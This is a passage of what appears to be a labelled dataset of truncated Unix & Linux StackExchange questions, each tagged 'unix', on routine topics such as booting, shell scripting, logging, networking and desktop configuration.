my existing Debian system instead of using the Internet? Body: I'm currently working on PXE booting 10 or so machines to install Debian on them over the network from a centralized DHCP + TFTP server. I'm using the TFTP server to serve the Debian netboot image to ... ",['unix'] "Title: Negate while loop condition in bash Body: In part of the script that I'm working on, I want to validate that the inputted IP address is in the correct format. I want to make a loop while the input format is NOT correct. The following works ... ",['unix'] "Title: What would be the best way to work around this glibc problem? Body: I administer a Gentoo Hardened box that uses file capabilities to eliminate most of the need for setuid-root binaries (e.g. /bin/ping has CAP_NET_RAW, etc). Infact, the only binary I have left is ... ",['unix'] "Title: What are guarantees for concurrent writes into a named pipe? Body: For example, I created a named pipe like the following: mknod myPipe p And I read from it from some process (for example, some server). For example purposes, I used tail: tail -f myPipe If ... ",['unix'] "Title: Redis-like temporary filesystem Body: Is there temporary file system (or ramdisk) that behaves like redis/memcache? so if there is not enough memory, i will dump to disk, when the computer restarted, it could read back from disk ",['unix'] "Title: Traffic shaping - Controlling burst time and rate - on Debian server Body: I run a busy website on a Debian server that utilises Shorewall for most of the traffic management. I need to work out a way to shape excess traffic so that all users can burst up to a maximum speed ... ",['unix'] "Title: Any chance to fix dual boot after the stupid UEFI? Body: Long story short, I had a single Linux hard drive with a LUKS partitions and stuff which worked really nice for a long time. Unfortunately, even though Wine nowadays works amazingly well, I couldn't ... ",['unix'] "Title: How to disable gzip compression with wget? Body: There are other questions asking how to enable gzip compression with wget, and lots of web pages out there telling how to do this, but I need the opposite. I'm trying to locally mirror a site, and ... ",['unix'] "Title: Centos 6.4 Font and Icon Problems Body: I have a 64 bit i7 computer that has AMD Radeon 7700m and 1920x1080 screen resolution. I have installed Centos and I have Gnome installed on it. I have very small fonts and icons at many programs. I ... ",['unix'] "Title: Better way to copy multiple directories to new directory Body: Is there a better way on the command line to essentially accomplish the following but with a single command cp -r css/ ar/ cp -r images/ ar/ cp -r js/ ar/ cp -r backups/ ar/ I've just been ... ",['unix'] "Title: How to dual boot Linux and Windows from small boot drive? Body: I am a Linux newbie, and I am trying to dual boot Linux Mint with Windows 7. Right now, Windows 7 boots from a small SSD, which has little extra room on it. Is there a way to set up a dual boot where ... ",['unix'] "Title: Delete files in directory without erroring if it's already empty Body: As part of a deployment script, I want to dump some cached stuff from my temp directory. I use a command like: rm /tmp/our_cache/* However, if /tmp/our_cache is empty (fairly common when pushing ... ",['unix'] "Title: Logrotate maually on FreeBSD 8 Body: I am able to rotate any log file manually via logroatate like this: logrotate -f /etc/logrotate.d/my-hourly-file I want to know how to perform the same action on FreeBSD 8? My investigation shows ... ",['unix'] "Title: Daemontools multilog loses log line time information. How to fix it? Body: I am using daemontools to monitor a process and its output log. I am using multilog to write the logs to disk. The run script for the log is: #!/bin/bash PATH=/usr/local/bin:/usr/bin:/bin cd ... ",['unix'] "Title: Squid block site except for some pages Body: I have Squid proxy server installed on my machine. I created a file /etc/squid/block.acl, where all the bad domains are written. And added the following statement to squid.conf: acl bad_url url_regex ... ",['unix'] "Title: Different behavior of $() and `` [duplicate] Body: % PATH=""MYPATH"" % VAR=""PATH"" % echo $(eval echo \$$VAR) MYPATH % echo `eval echo \$$VAR` 5707VAR ^^ This is the process number. I thought those two were exactly the same, but obviously there are ... ",['unix'] "Title: change terminal window default location Body: How do I change the default gnome-terminal location on screen. I checked out the preferences but they only have option to change default size. I also checked out .gconf/apps/gnome-terminal/ but didnt ... ",['unix'] "Title: /dev/shm/ecryptfs-$USER-Private keeps climbing in Kubuntu 12.10 Install Body: I'm having a problem with an installation of Kubuntu 12.10 with an encrypted home directory. I've been trying to figure it out for several weeks. For transparency, I'll note here that I posted this ... ",['unix'] "Title: Error when running ntpd on openVZ host: cap_set_proc() failed to drop root privileges: Body: CentOS 6.x | OpenVZ I want to run a NTP server on a vps host of mine. Is this possible? When I try to start ntpd, it fails immediately and gives the following error: Mar 14 22:47:44 ev1 ... ",['unix'] "Title: Searching for Failed attemps in /var/log/secure Body: I'm currently writing a script to examine /var/log/secure file and report how many failed attempts there were that day. I need to output it in the following format: Date: 03/15/10 Time: 10:30 Number ... ",['unix'] "Title: Multiple monitor with Linux Body: I' m installing Arch Linux with OpenBox, at the moment I've only downloaded OpenBox and tint2, but I have to install all the necessary. Before doing everything I'd like to know how to use my two ... ",['unix'] "Title: Get monitor make and model and other info in human readable form Body: I have extracted the shorthand version of the current monitor attached to the computer. Here is an example: vendor ""VSC"", prod id ""18500"" In Ubuntu's Monitor Preferences, it is identified as ... ",['unix'] "Title: What after exec() in ls command. Is the parent process printing the output to the console or the child? Body: I have a simple doubt on execution of the command ls. As per my understanding from the research I have done on the internet, I understood the below points. When we type ls command shell interprets ... ",['unix'] "Title: Is it possible to execute a sub-command from a Gnome Shell launcher? Body: I've got an alias set up to launch my text editor in a way that keeps it local to the specific desktop I'm working on in Gnome Shell: alias geany=""geany --socket-file=/tmp/geany-sock-$(xprop -root ... ",['unix'] "Title: Using symbolic links and git to manage build versions Body: In general I follow the following workflow when I build any program (e.g. emacs, tmux, etc.) /home/opt/[name of the program]/builds/[version]/ bin lib share For example for a program like tmux I ... ",['unix'] "Title: How to set System Variable for mySQL in RHEL 6.2? Body: I am currently working on mySQL 5.6.10 server and RHEL 6.2. I need to set the system variable PATH for mySQL on RHEL 6.2 Terminal. How do I set it? I also want to run a .sql file on Linux. I am using ... ",['unix'] "Title: Disable mounting to `$HOME/.gvfs` Body: I am using Debian Wheezy with Xfce and Thunar. Thunar (and other similer managers) enables e.g. connecting to SSH server using SFTP address like sftp://mysvr/ and browsing it like a local folder. I ... ",['unix'] "Title: cron ignores variables defined in “.bashrc” and “.bash_profile” Body: I have defined ""SHELL"" variable in /etc/crontab file: [martin@martin ~]$ grep SHELL /etc/crontab SHELL=/usr/local/bin/bash [martin@martin ~]$ file /usr/local/bin/bash /usr/local/bin/bash: ELF 32-bit ... ",['unix'] "Title: Attaching USB-Serial device with custom PID to ttyUSB0 on embedded Body: I'm attempting to get an FTDI USB-Serial device with a custom PID to automatically (or even manually) attach to ttyUSB%n, without much success. The device's normal VID/PID is 0403/6001. When ... ",['unix'] "Title: Webcam Device Driver to support H.264 Body: I have a Creative Live Cam Connect HD (id: 041e:4093) and this webcam has an on-board H.264 encoder. Unfortunately v4l2 only inputs the feed as MJPG. $ v4l2-ctl --list-formats ioctl: VIDIOC_ENUM_FMT ... ",['unix'] "Title: Dual boot Ubuntu with windows 8 Body: I have Windows 8 and need to dual boot Ubuntu. I made a new partition from Windows Manager, but when I boot Ubuntu and select the new partition I get the error: this partition is not rooted !! ... ",['unix'] "Title: rrdtool 1.4.7 compilation fail : glib-2.0/glib.h Body: I am trying to compile rrdtool from the source package. I don't use RPM packages, so don't ask me to install packages ;) I compile all the required software before rrdtool according to ... ",['unix'] "Title: How to bzip a file with minimum cpu percentage? Body: I am using bzip2 to compress a file,the process takes more that 100% cpu.Is there any way to run bzip2 with minimum CPU precentage. ",['unix'] "Title: Creating a variable to a directory that persists until deletion Body: I'm currently using bash on Ubuntu, and I work a lot with a directory saved at /home/me/path/to/project_dir. It is a nuisance to change to the directory every time I open bash. So I'd like to save the ... ",['unix'] "Title: Change GTK themes on the fly Body: I'm not running xfce4 or gnome, so I can't use their respective settings manager. Now I want to alter the GTK theme of all running apps, do you think that's possible? I think there's a signal or ... ",['unix'] "Title: Remote access SSH problem Body: I have been asked to setup a lab with 1 PC (fedora 18 OS) and 4 SGI (IRIX 6.5 OLD OS). I am using a switch to connect them to university's network, and I asked tech guys to assign static IPs to them. ... ",['unix'] "Title: How does logrotate treat globbing? Body: If I have a logrotate config file like this, # matches multiple ones /var/log/project/*.log { ... prerotate ... endscript ... } So how does the glob work here? If I have 3 log ... ",['unix'] "Title: Is there an equivalent to Windows ReadyBoost in Linux? [duplicate] Body: In Windows 7 a feature was introduced in which you could use a thumbdrive as ""poor man's"" RAM called ReadyBoost. Does Linux have any equivalent of this? ",['unix'] "Title: telnet implementation using C [closed] Body: The program in general is I want to implement telnet program. On the client side user send its logging name and password, and if it is correct he starts to send commands to the server On the Server ... ",['unix'] "Title: How to recursively find the amount stored in directory? Body: I know you are able to see the byte size of a file when you do a long listing with ll or ls -l. But I want to know how much storage is in a directory including the files within that directory and the ... ",['unix'] "Title: Different shells for interactive and non-interactive work Body: Due to constraints at my workplace, the default shell for every user is tcsh, and I am required to use tcsh as my non-interactive shell (i.e. we do most of the environment configuration across ... ",['unix'] "Title: What does sudo su work but su does not? [duplicate] Body: I have tried this on Fedora and on Ubuntu. kshitiz@kshitiz:~$su su: Authentication failure kshitiz@kshitiz:~$sudo su root@kshitiz:/home/kshitiz# I am entering the same password in both the cases. ... ",['unix'] "Title: Why can't I use strace with rsh? Body: If I run rsh, it works, but prints some strange “Connection refused” messages at the beginning: $ rsh localhost pwd connect to address 127.0.0.1 port 544: Connection refused Trying krb4 rsh... ... ",['unix'] "Title: LXDE use WinKey to open AND close main menu (LXPANEL) Body: I was able to set Winkey to open the menu. But I expect that pressing it again would close the menu which is not happening. This issue is almost the same as this: GNOME: Use WinKey (Super_L) as a ... ",['unix'] "Title: Logger command - how to store logs in given file? Body: Please explain what below command does. logger_cmd=""logger -p local0.info ${program-name}[$$]:"" $logger_cmd ""There is some files missing in ${dest-dir}"" How can I write any message in log file? I ... ",['unix'] "Title: How to reduce Volume Group size in LVM? Body: [root@localhost ~] vgdisplay --- Volume group --- VG Name vg_root System ID Format lvm2 Metadata Areas 1 Metadata Sequence No 7 VG ... ",['unix'] "Title: Configure bash to execute command with last argument when no argument was provided Body: I would like to configure bash so that when I execute command (preferably from a list of commands, not any command) without an argument, it takes the argument of previous command. So, for example I ... ",['unix'] "Title: obfsproxy fails to build because it can't find event2/util.h Body: I'm trying to build obfsproxy. These steps all work fine: # git clone https://git.torproject.org/obfsproxy.git # cd obfsproxy # ./autogen.sh # ./configure But then I get to: # make make all-am ... ",['unix'] "Title: GNU/Linux: overlay block device / stackable block device Body: GNU/Linux has union mount that overlays dirs. So you can mount a writeable dir on top of a read-only dir. When the writeable dir is unmounted the read-only dir is untouched. I am looking for the same ... ",['unix'] "Title: No make target “uImage” with Buildroot 2013.05 Body: After enabling Linux Kernel option and setting the Kernel binary format to uImage, I always get the following error: make[1]: * No rule to make target `uImage'. Stop. My buildroot configuration is ... ",['unix'] "Title: Using USB 3 controller with Linux 2.6.x Body: I have a laptop that has an USB controller and an SD card which I believe connected to USB3. I need to do some development on a Linux version 2.6 which doesn't support USB3. Can I use USB 3 ... ",['unix'] "Title: Copy stdout and stderr to a log file and leave them on the console within the script itself Body: Using bash, how do I copy stderr and stdout to a log file and also leave them displayed on the console? I would like to do this within the script itself using an exec. I tried with exec ... ",['unix'] "Title: Linux : See CPU usage by a process for the last second Body: vmstat 1 Above will print virtual memory statistics each seconds. It will also show the CPU utilization for last second. I have a web server at hand which runs httpd and MySQL. I need to find how ... ",['unix'] "Title: Elegantly get list of children processes Body: I would like to get a list of all the processes whose parent is $pid. This is the simplest way I've come up with: pstree -p $pid | tr ""\n"" "" "" |sed ""s/[^0-9]/ /g"" |sed ""s/\s\s*/ /g"" Is there any ... ",['unix'] "Title: How to safely put user typed password into a file? Body: Is there any way to put the password typed by user into a file (either in Unix or in expect). read -s -p ""enter password"" input echo $input > file Is the above code safe? I want to use that ... ",['unix'] "Title: xorg.conf 2 cards 3 monitors - why is one monitor stretched? Body: I have 2 nvidia cards with three monitors Left (0), Middle (1), and Right (2). I have to use xinerama to make them all one desktop because xrandr only joins 0 and 1, leaving 2 as a separate desktop. ... ",['unix'] "Title: A Problem about exporting DISPLAY of an application in linux Body: I am working on a web application which displays the home directory which is either on the web server or mounted on an NFS partition on the web server after a user logs in. When I click on a file in ... ",['unix'] "Title: How to install Linux distro to a second hdd from within a running Linux Desktop Environment? Body: The title says it all! More specifically, I am running Fedora18 on my main HDD. I have a second HDD in the ""UltraBay"" slot of my ThinkPad W520--eSata connection. Is there a possibility to avoid ... ",['unix'] "Title: How can i free up memory / manage memory on a linux box? Body: I am running two Ubuntu 12.04 servers (no GUI / desktop) using canonical's cloud images on Amazon EC2. One is a micro with 613MB of RAM and one is a medium with 3.75GB of RAM. I only have opscode's ... ",['unix'] "Title: understanding “-dao”, “-sao”, “-tao” and “-raw” writing modes for wodim in practice Body: In wodim one can choose between many different writing modes like Disk At Once(""-dao""), Session At Once(""-sao""), Track At Once(""-tao"") or Raw writing mode(""-raw""). As I understand, Track At Once ... ",['unix'] "Title: Mount HTTP Server As File System Body: I have a machine on which I wish to mount multiple remote servers to access them all centrally. For remote Linux based systems I am using SSHFS which works fine. But for Windows systems, or systems ... ",['unix'] "Title: How do i remove all occurences of semicolon from the end of all lines? Body: These are the steps i am following. `sed 's/[;]+$//g'` also sed 's/;{1,\}$//g' ",['unix'] "Title: Querying Microsoft SQL SERVER 2008 from Linux Body: Basically I want to write all the lines of a text file present in linux machine to Microsoft SQL server database. I need a shell script to connect from my Linux machine to a remote Microsoft SQL ... ",['unix'] "Title: What does kill 0 do actually? Body: In the man page, it says: kill [ -s signal | -p ] [ -a ] [ -- ] pid ... pid... Specify the list of processes that kill should signal. Each pid can be one of five things: 0 All ... ",['unix'] "Title: Linux Operating system recovery after abnormal termination Body: How does the operating system (Linux) while rebooting checks whether abnormal termination happened during last shutdown and then does the file system consistent checks etc if required ? ",['unix'] "Title: Is adding ./bin a bad idea Body: I can't think of any reason why adding ./bin to my PATH environment would be a very bad idea. I usually create bin folders in my projects that I am working in and I hate doing bin/command, it would ... ",['unix'] "Title: Why does command substitution fails in ssh remote call? Body: I have this script: exportFile(){ file=$1 skippedBytes=$2 exportCommandString=$3 #This works: #dd if=$file bs=1 skip=$skippedBytes | ssh sshConnection 'cat - >> ... ",['unix'] "Title: Linux Mint 14.1 not bootable because of “secure boot” Body: I'm trying to install Linux Mint 14.1 on my Lenovo B570, but when I try to boot the thumb drive, it displays a message: ""Secure boot is not enabled"" and then goes black screen. I read lots of posts on ... ",['unix'] "Title: Opening install.txt when installing Arch Linux Body: I know this may sound sily but I don't how to open install.txt. I tried 'w3m install.txt' and '_w3m install.txt' but still don't open. Can someone specify the code to do this? ",['unix'] "Title: Why TCP TIME-WAIT State is present at both ends after a connection termination? Body: I am reading how the TCP states work and especially the connection termination part. All of the books or online material I read, shows that for the termination procedure these states are followed ... ",['unix'] "Title: How do I set an environment variable for sudo in MacOS? Body: I have installed ServiceMix on my machine, and am trying to start it. The startup script is called start.sh. When I did ./start.sh, it gave me a Permission Denied message. So I used sudo ./start.sh, ... ",['unix'] "Title: How to remove Gnome's Mod4+P keybinding Body: Where in gnome's twisty little passages is this key binding hiding, and how do I kill it? I have the same problem described here, but I don't have the gconf path offered in the solution comment: ... ",['unix'] "Title: not able to mount burned ISO9660 file-system before ejecting and re-inserting the media Body: After burning an ISO9660 file-system(wodim -v dev='/dev/scd0' -sao ubcd521.iso) to a CD, I always need to first eject the CD and then re-inserted it in order to be able to mount the created CD: ... ",['unix'] "Title: How to use xscreensaver's screensavers in kscreensaver Body: How can I use xscreensaver screensaver ""molecule"" in KDE's screensaver programme? ",['unix'] "Title: Installing qemu-img on ubuntu 11.04 Body: I am developing a linux kernel and I am trying to to debug it in QEMU. I want to be able to run it in QEMU but it stops because I do not have a virtual hard drive to boot it(using the -hda command). I ... ",['unix'] "Title: Interactive backup tool Body: I am looking for a backup (or diff) tool where I can select interactively which file I want to copy towards my external hard-disk. Let me explain with further details: I have two computers and an ... ",['unix'] "Title: How should I manage CentOS for long term production use? Body: I am newbie server developer who is preparing a new service. I looked for some server hosting services, and the company I chose supports only CentOS 5.8 and 6.2. So I wanted to try it on my local ... ",['unix'] "Title: cgroups, cpuset changing the cpuset of some processes fail Body: I am trying to ""reserve"" a core on a CPU for performance measurement. I have mounted a cpuset cgroups vfs. I created two subgroups like this: /cpuset.cpu_exclusive 1 /cpuset.cpus 0-3 ... ",['unix'] "Title: Is copying the root folder an adequate form of backup? Body: I am working in a small organization with about 8 or so Linux independent servers. While we currently do remote backups among the machines, I was told to make an ""emergency backup"" of the machines to ... ",['unix'] "Title: Grepping number in a file Body: I have this command $ cut -f2,3 AIS2F1 | grep [2-9][0-9]* | cut -f1 So my second and third fields are something like this Ben 434 Me 12 you 56 So, I thought that the logic should be to cut ... ",['unix'] "Title: problem with socks in proxychains Body: I'm trying to connect to a socks server using proxychains. My ProxyList part of proxychains.conf is: socks5 ip1.sockssrv.org 1080 MYUSER MYPASS When I try to use it; for example using ... ",['unix'] "Title: Installing Mono 2.10.5+ on OpenSuse 11.4 Body: I recently upgraded from mono 2.8.x to 2.10.2 on an OpenSuse 11.4 by following the zypper instructions on the mono download page and immediately hit xamarin bugzilla bug 99 that prevents ... ",['unix'] "Title: Is it possible to whitelist a specific program in iptables? Body: Is it possible to allow all traffic for a specific program in iptables? Otherwise using nmap and a strict iptables configuration at the same time seems impossible. ",['unix'] "Title: Usable screencast tool for Linux? Body: ..under windows.. I think Camtasia studio is the best screen recorder. But I just cant find any good tool for Linux (to be exact: Scientific Linux). What are the best tools for recording the screen? ",['unix'] "Title: Pinnacle TV tuner card, readreg error, dvb_register failed, cx8802 probe failed, firmware never loads Body: I'm trying to make this card work in a touch screen kiosk running Ubuntu 10.04, kernel 2.6.32-45-generic This card seems to use the s5h1411 chip instead of the s5h1409 the modules are expecting. I've ... ",['unix'] "Title: No DNS on Debian wifi after unplugging the DNS cable Body: I have installed wheezy Release Candidate 1 to my old laptop (Benq Joybook A52) right now, and I have some problem with my wireless card (Atheros 5006). It can actually see the wireless networks, I ... ",['unix'] "Title: RAM limit query in linux Body: I am working on friendly-arm Linux based application, in which only one program is running that is creating many processes and many files are appending with data. One of these processes is PPP. My ... ",['unix'] "Title: emacs shell sync directory Body: I encounter this quite a lot. when I open a emacs shell and run M-x dirs it will complain to me that:couldn't cd or sometimes just hang emacs what is the solution for this ? What shell are you ... ",['unix'] "Title: Guake : Opening a new guake tab in current directory Body: I am using Linux Mint Maya with Mate desktop environment and ubuntu 12.04 backend . I was trying to open a new tab at the current directory using guake. Though this option is in the preference but ... ",['unix'] "Title: Provide passphrase to plymouth ask-for-password from command line Body: I'm working on booting a headless server (Fedora 16), entering the passphrase to decrypt the root disk (LUKS) over SSH using dropbear. I've got dropbear all working: I can SSH to the server while it's ... ",['unix'] "Title: Installing development tools in RHEL 6 Body: I have admin privilege on my office computer (running RHEL 6) which is connected in a network. I was trying to install development tools using the command: sudo yum groupinstall ""Development Tools"" ... ",['unix'] "Title: Where does rsyslog keep facility local0? Body: I added to rsyslog.conf a lines ModLoad imudp UDPServerRun 514 local0.* /var/log/dlink.log With tcpdump I can see the packets from dlink somethimes local0 somethimes local1 even local2. Nothing ... ",['unix'] "Title: Same file, different filename due to encoding problem? Body: I was about to diff a backup from it's source to manually verify that the data is correct. Some chars, like åäö, is not shown correctly on the original data but as the clients (over samba) interpret ... ",['unix'] "Title: Installing AMD GPU drivers on Fedora 18 Body: How can I install the AMD graphics drivers on Fedora 18? I downloaded the driver from the amd website. I unpacked the driver and ran the ""amd-driver-installer-catalyst-13.1-linux-x86.x86_64.run"" ... ",['unix'] "Title: Exclude directory in find Body: How can I find every file and directory matching a pattern, excluding one directory using find? Say I have the following file structure; . foo-exclude-me/ foo.txt foo-exclude-me-not/ ... ",['unix'] "Title: Use a parameter in a command argument Body: I run a find command to search files with a name containing perl: find /tmp -name '*perl*' /tmp/perl.pl /tmp/run-perl-stage.pl But when I set the perl name in a variable PARAMETER and run the find ... ",['unix'] "Title: Which packages contain IPsec implementations and algorithms that use it for encryption? Body: Which package contains the implementation of IPsec and which package contains the implementation of encryption algorithms that IPsec uses for encryption? I need to use custom crytographic algorithms ... ",['unix'] "Title: Multi kernel usage in Linux PC(UBUNTU) Body: I have 2.6.32-21-generic , 2.6.32-38-generic and 3.0.0-20-generic. My current kernel is:- $ uname -r 2.6.32-38-generic I want to use different kernel that is 2.6.32-21-generic. How can I do that? ",['unix'] "Title: Unexpected ordering of strings in `sort` command [duplicate] Body: I'm trying to sort a text file using certain columns in the file as a sort key. Since the file doesn't have separators and fields sometimes stick to each other, I have to convert spaces to some ... ",['unix'] "Title: Linus and Fedora [closed] Body: My friend to me that Linus Torvalds uses fedora to compile the kernel. Why does he prefer fedora over any other distribution (ex. Ubuntu)? ",['unix'] "Title: Spreadsheet::XLSX returning &lt; &gt; and &amp; instead of < > & Body: I'm using ... use Spreadsheet::XLSX; use Spreadsheet::XLSX::Fmt2007; use Spreadsheet::XLSX::Utility2007; ... to parse an xlsx spreadsheet where a cell contains the value () appear in ... ",['unix'] "Title: Search low values in mainframe files Body: I am working with mainframe files and it seems that the low values (x'00') exists in the records in the file which throws off my import for fixed block. Does anyone know how to eliminate those ... ",['unix'] "Title: Images won't print in landscape. Ricoh MPC3500 Body: Had a strange quirk with a Ricoh MPC3500 unable to print images in landscape. At first I thought it was just not printing images but after some testing it prints them fine in portrait. Im using Mint ... ",['unix'] "Title: Extract Data between comma Body: I have an output file which contains different numbers seperated by commas. But the issue is I do not know the number of commas. I would in turn like this data to be grep on another file. For ... ",['unix'] "Title: Should a laptop user switch from ext4 to btrfs? Body: Related to this. I'd like to take advantage of an OS switch to upgrade to BTRFS. BTRFS claims to offer a lot (data-loss resiliency, self-healing if RAID, checksumming of metadata and data, ... ",['unix'] "Title: exact match in regrex when using vim, man, or less Body: when using vim, man, or less, I want to do some exact match in regrex for example, when using man, I want to check the argument '-c' if I use /'-c' the matching could be -cim ... ",['unix'] "Title: State/Toggling variables in tmux Body: I was wondering if there is a way of defining a state variable in ./tmux.conf, such that depending on this variable, the keyboard binding would invoke a different command. For example, I would like ... ",['unix'] "Title: How to scp with regular expressions Body: I'm trying to copy all files that do not begin with the letter ""a"", in ksh. Copying from the source machine to destination machine is working fine: scp -p !(a*) user@machine:/path/directory/. But, ... ",['unix'] "Title: Can one move a relpath in one command? Body: This question is similar to one I asked recently, but the answers to that question, for the most part, do not extend to this one, AFAICT. The main difference between the two questions is that the ... ",['unix'] "Title: Ubuntu 12 installation - partitions Body: I want to install Ubuntu 12 and I would like to partition my hard drive so that the OS lives in its own partition and the data in a different one. Thus if the system breaks for some reason, the data ... ",['unix'] "Title: Set environment variable for all of tmux shells when gnome-sessions gets restarted Body: To solve this problem, I need to set the environment variable DBUS_SESSION_BUS_ADDRESS for all shells inside tmux every time I restart gnome without restarting tmux (this is often). How can I best ... ",['unix'] "Title: Linux command line that will fail if any standard out is produced Body: Is there a simple utility which I can pipe output to on Linux that will: Return a success code if there is no output on standard out (and / or standard error). Return a failure code if output is ... ",['unix'] "Title: How to build a new OS on top of a Linux OS Body: I'd like to build my own operating system (really just the Ubuntu distro as I know the task is difficult) But what I mean by this is I wish to build atop of the Ubuntu operating system as like Apple ... ",['unix'] "Title: Bash No Longer Changes Directory Body: My bash shell will no longer change directory with cd. I noticed it earlier when working and found that any new shells I opened (terminal or xterm etc) would be stuck in the home directory and could ... ",['unix'] "Title: Files with empty names Body: I was writing a widget for displaying files in a given directory and I wondered whether I need to cover the case where a file has an empty name. Testing showed not obvious results, so I was ... ",['unix'] "Title: Suspending laptop fails ~50% of the time Body: Running ArchLinux and GNOME 3 on a Thinkpad X220. When I suspend my laptop it goes into sleep mode and the LED ring around the power button fades in and out. When a suspend fails, the LED ring and ... ",['unix'] "Title: cli cURL send pinging with the method “weblogUpdates.ping” Body: From answer here: http://unix.stackexchange.com/a/36455/17948 The cURL command is: $ curl <target-pingservice-url> -d 'name=<your site name>' -d url=<your-url> -d rss=/rss.xml ... ",['unix'] "Title: Gedit plugin able to display bash functions Body: I use gedit with classbrowser plugin when editing bash scripts. There is, however, a problem with classbrowser: it does not show bash functions with dashes like 'delete-all-files()'. I tried to check ... ",['unix'] "Title: How to recover broken/partially deleted git repository Body: I accidently ran an rm -r on my .git directory. Luckly rm stopped when it got to a write-protected file, but I've still lost several things in my .git. Files I still have: FETCH_HEAD ORIG_HEAD ... ",['unix'] "Title: FreeBSD: “Too many open files” but should be able to open another 160,000 files Body: I have a FreeBSD 8 system running ZFS, with a MySQL 5.5 server which is about 355GB and projected to grow to be a couple of Terabytes. MySQL is triggering errors about ""Too many open files"" on ... ",['unix'] "Title: Encrypting import's output with gpg at the same time Body: The import command saves screenshot in a file. Is there a way to encrypt that file at the same time using gpg, without saving the image file first? gpg accepts input from stdin but it seems that ... ",['unix'] "Title: Are there any source APT repositories for Debian Lenny? Body: Debian Lenny, the current oldstable, ceased receiving security updates early in February, and now seems to no longer be hosted at the usual FTP mirrors (see, e.g., curl ... ",['unix'] "Title: Openswan established NATed tunnel but, I can't ping remote end's lan PC Body: I am establishing site to site tunnel. 192.168.2.0/24===10.103.6.40<10.103.6.40>---10.103.6.1...10.103.6.29<10.103.6.29>===192.168.1.0/24; Local ip: 10.103.6.40 Local lan: ... ",['unix'] "Title: Disable stack protection on Ubuntu for buffer overflow without C compiler flags Body: I'd like to try some shell codes and I want to disable linux protections. I know I could compile using flags but I know another way exists to disable these protections in general I just can't ... ",['unix'] "Title: Bash script that automatically kills processes when CPU/memory usage gets too high Body: I have created a script that kills processes if CPU and/or memory usage hits 80%. It creates a list of killed processes when this happens. What can I do to improve it? while [ 1 ]; do echo echo ... ",['unix'] "Title: samba 4.03 question Body: I have trouble with samba, my old config from samba 3.6 don't work for 4.03 f18. The most clients windows and linux machines can r/w/c share files, but the androids users can browse the share and ... ",['unix'] "Title: Which applications use /usr/share/dict/words Body: I have changed the symlink /usr/share/dict/words to point to my own custom dictionary but it doesn't seem to affect anything. Chromium and Abiword neither seem to use this dictionary. Which ... ",['unix'] "Title: chmod wont work - no error message Body: Everytime I try to change the permissions of a file with chmod on my Ubuntu with a command like chmod 744 /media/DATEN/Dokumente/Coding/Python/DirFileFuncts.py it doesnt work. I tried octal and =rwx ... ",['unix'] "Title: tmux: Remapping keys to pane on the left/right/top/down Body: Tmux allows one to move through panes using Ctrl-b + (→, ←, ↑, ↓). I would like to remap this to: Ctrl-b + Ctrl-(l, j, i, k). For reference, the layout of the keys l,j,i,k is similar to that of the ... ",['unix'] "Title: Not able to create a custom Tiny Core Linux ISO image Body: I'm trying to create a custom version of Tiny Core Linux. I extracted the ISO image, added the required tcz files, and made a new ISO, but VMWare Virtual Machine was not able to boot from it. So I ... ",['unix'] "Title: Skyping (video) on Linux Body: Ever since I have been running Linux I have not been able to use Skype video messages. Even the program I have downloaded for Skype is telephony, and I don't want Skype telephony. What am I doing ... ",['unix'] "Title: Diagnose unplanned shutdowns Body: I have a problem with a server that is shutting down for some unknown reason. I check the logs each time it happens and cannot find anything of particular interest which would suggest why its going ... ",['unix'] "Title: How to enable on access scanning and the like in Debian Squeeze? Body: I am using Debian squeeze. I want to enable on access scanning and scanning of downloaded files and all options which are employed by a proprietary virus scanner for Windows on Linux. I am using ... ",['unix'] "Title: How to detect particular system call called or not in a whole workflow? Body: EDIT No. 1 My task is mirroring , i.e., copying updated data from master server to all mirrors, by using rsync and rsh. But during rsync and rsh, I found some delay. My thinking is , the reason for ... ",['unix'] "Title: Users home path in a bash script Body: I'm writing a bash-script that will be run as a cron job everyday. Very basic, I was wanting to change the wallpaper daily. I have mint-14 with mate. The thing I'm getting caught up on right now ... ",['unix'] "Title: How to add Puppy Linux to grub menu installed by Ubuntu? Body: I've been using Puppy Linux off a USB flash drive drive for a while, but that was really wearing it out. I decided to do a full install to the hard drive, so I cleared out some space, created an ext4 ... ",['unix'] "Title: Xmonad doesn't change workspace Body: I have just installed xmonad. I logged in, press alt+shift+enter, and got a xterm. (Pressed again to see windows tiling.) Typed in man xmonad, read, press alt j,k to switch between windows, ok, then ... ",['unix'] "Title: Impossible to mount USB stick Body: I've just installed Debian Sid on my computer but I cannot mount external USB drives as you can see in the image. Mounting failed Cannot mount ""SENZATITOLO"" Not authorized What should I ... ",['unix'] "Title: Linux kernel development for multi core architecture Body: I am working on a project adapting system software like the Linux kernel. I read one paper titled ""Experience on Comparison of Operating Systems Scalability on the Multi-core Architecture"" that tells ... ",['unix'] "Title: batch-install packages accordings to the list Body: In order to install a copy of fedora system i want to know how to install packages previously listed with yum --list installed>mypkglist I like do the task in batch mode. ",['unix'] "Title: Physical layer header is not present in the data read from raw sockets? Body: i have read about RAW sockets that they are UNIX domain sockets and don't generally go over the wire unlike TCP or UDP. They are used for interprocess communication. Also they are used in the ... ",['unix'] "Title: Does apt update manually installed packages Body: I'm trying to install bnx2 non free driver on Debian wheezy. The driver is in non free repositories. Since there is no network connectivity I should download .deb file and install it on the box. After ... ",['unix'] "Title: Is there anyway to set a readonly environment variable? Body: I am using the following in openssh/telnet code, which sets the user environment. setenv(""TEST_ENV"", ""testing"", 1); But this can be modified by the user, is there anyway to make it readonly env ... ",['unix'] "Title: Navigating through the directory stack in zsh from the command line Body: In zsh, is there a way to navigate through the history of directories that I have visited (those listed in dirs) when I am typing a command in the command line? For example, say that I start typing ... ",['unix'] "Title: Ctrl+W in vi[m] to erase to whitespace Body: I want to mimic the functionality of bash readline in vim. Is there an easy way to do that? Currently in vim Ctrl+W ""cuts"" from cursor back to special char or whitespace. ie. In bash Ctrl+W ""cuts"" ... ",['unix'] "Title: How can I find out which version of screen I am using? Body: Further to my previous question on screen not splitting my terminal , I got to the point where I can split my terminal horizontally but not vertically . This documentation says that vertical splitting ... ",['unix'] "Title: echo string >> file does not work Body: I wrote the following script: for filename in `find . -name '*'.cpp | grep $IN_REGEX | grep -v $OUT_REGEX` do echo ""Output file is $OUTPUT_FILE"" count=`git log --pretty=format: --name-only ... ",['unix'] "Title: How to install GTK3 in Centos 6.2 Body: I have Centos 6.2 and I want to install GTK3 to be able to install gitg. I looked up on Google, and couldn't find anything useful. The thing is people suggest I need to install GTK3 by manually ... ",['unix'] "Title: How to stop monthly cron output email Body: Server is Debian 6.0. In /etc/aliases I have; root: 